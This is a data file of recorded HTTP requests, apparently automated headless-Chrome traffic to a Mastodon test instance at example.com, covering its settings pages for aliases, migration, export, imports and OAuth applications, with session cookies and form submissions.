{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 160", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": "authenticity_token=rpk2nZjS_rJ6h0kZGCR_6GMegaA0nKTc4BiOUrEA1Qx-SGG5_1QK_NWKi2LzVFrn7HIIyQ4GfdE7CeIrYlhVEA&account_alias%5Bacct%5D=alice%40remote.example&button="}
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6dd0e6137fbb0cb22b7d7ad5055bd2a325323755; _mastodon_session=orpoDp0vzOcOZpJ%2F3gSFEP8t4VRjgdf114XVhWVIpVBBQrlAsSzV9w1vZcgAhYfNfscF4gQUHMnk2nn%2BfR7wkeXvWMw%2FisV9cRhR%2BmuK%2BMrhysBgzfKUlHjuoa1SFwofWw9as5bDlO3%2Fde1ho3o7Lj1HmzjVQBhZGkK%2FdVZXnNczsG95kRaWkxcnTxT4DPg0Chj3KA9D2D1rRVkFtKlgjYg1JMDeZ2bqjACpHA1SyqinrZC%2Fm7aQLqatWzuyI2SuA9V%2B2Hhexqd7bu7lLBazYzlM2rrDBrKTnIwANx0zJvrieG0RSvUu3IVZqb0UuW7UKRBdg%2BvirMXvJ%2FArL5GA5IV5rywPIVqVPCaNBRv8K4NDzlco2p63lobkCu5ApaiVFjH03WBtA4u2GkpDwfKnhx%2FVTwO9D1Sf0HYmDXfXamD0zEj%2BDcxbVcvRiuNFRzDv2KOxXipY9cJ%2FXzrKNJmQDCAMUfikyupCFEHX3v%2FO3Qq6xqGmZBDZUqW4QxlkKrDK9YUm80%2FrG962MMhKgk0KRL6SvPE3uAlAiNtJrsCgqsH6CJoj5wFvEuEbXhRdBXox7fngEpgX9Cii%2BzJgZgSEfj4lTW6dB3Ps%2BjYVOOqmwRBc13RKxlOZ%2Fe0%3D--DWesOan0ml8KckSk--J4ROP2eU7rGOUzkIJ6n4Gw%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTk1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--46e7201434ebe8a20ac4aa35444b87a0b3a9fcbd; _mastodon_session=4r2Y7fpl%2BrFPdjLC59fNkTTIvtf2ccVkX%2B9lYiwfrNZewpbiXjxlhD2PJ0SbwD6OeHRufF91YZls3CRLTAXblRlGAqIOPIQUYQbVnzwihu0aoDwmsWxCLTrmTbAtNmrGC8iOcOj%2FbPfVhuN31k3g0NrVbHKzvcwyvazGy6JmVBjBYYEOIMItxk6J74KR6Cs%2FxuiMQpvFEjOx%2FsL%2BlNfjX0BE3OXr4IJvXewUNOlcjDY5nCPn%2Bf%2FnkjOO1Axef4mMSR2LMdaIfACWBaz4KpSDroEQWtuWIJ4VLMjwiK5SU3PnZvQd2hZI0B6glmsJaxDrXMr2Dt2Vw%2BERR5XcUTHS1oGDWeFB%2BaC%2FXmq59CbGfbR86D4CusD12RLgsKF1s4JerFnPr3aWZyqD--t7ziTsV%2BrTdUgWry--vWUALKiy6eo4yh%2BjlmX%2BFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/export", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/export", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/imports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/filters-B_-6iXPk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/imports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/applications/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": ""}
{"method": "POST", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 614", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": "authenticity_token=7xS2wadIGBN2ohySFEdB51yRgnIC0BqnpJjj6huUfAwshg79AIgLQ9k-nzGll6GLTOidGo3PNsK1JS6iGfYYCg&doorkeeper_application%5Bname%5D=My+python3+app&doorkeeper_application%5Bwebsite%5D=https%3A%2F%2Fexample.org%2Fpowershell&doorkeeper_application%5Bredirect_uri%5D=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=profile&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&button="}
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuODk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e1bf0268347a2e00cd756b381436d085b1256e7; _mastodon_session=S39wtIx%2FVnoD4MGC9Sr89rC7CO5ivaJttIBL578q0BlLTZ7Kk9RaXCw6ifmA085vwybPiSt2FbxDHT7LmAV3lRUeBp%2ForYSA2zlymodQf4mkcmIdTvejcayyie0Pzv6igQ3kuGPK%2FPFOd8ioq4qJY6jzcg7y3MrONZKYR16U7Yi%2Frtt8CsjV1a1R4fHDiUSgk8EbcHO9I2lXNd61HVwaYCszPV0YzZ4A9ZUZiTH3JGpV56GrEW8dEs0wyZ82PELYM6Z8zBAqUXbtluCwwQxW5qJ%2FXhUDiSz7qW9EiEdouYL9QdzHJ2gAT30PJv9gyWWf3i72dViTTyceo%2BLa9RChZ6tkJHHqnhg6b%2BjJssVWjLoconWhVwQJE1RobjMdBSKQS4Lrfz9vb7qmHt2zFopwSid0MyInOgCD1x173uDTnDYtQHlEbIeiFWL%2B0EPRPcm13ynxaWXZIS2G7%2Bnrmg2nvPRcyeDQRQJWY2vH3v6pdn2B0K2pAan0zkuJeKBQBcil702IoF%2BROSMbq6%2BYXfs3WZU%3D--dgkphIpl0ii6jzzr--MW34OvpD%2FsOV%2FjD4w2iPqw%3D%3D"], "body": ""}
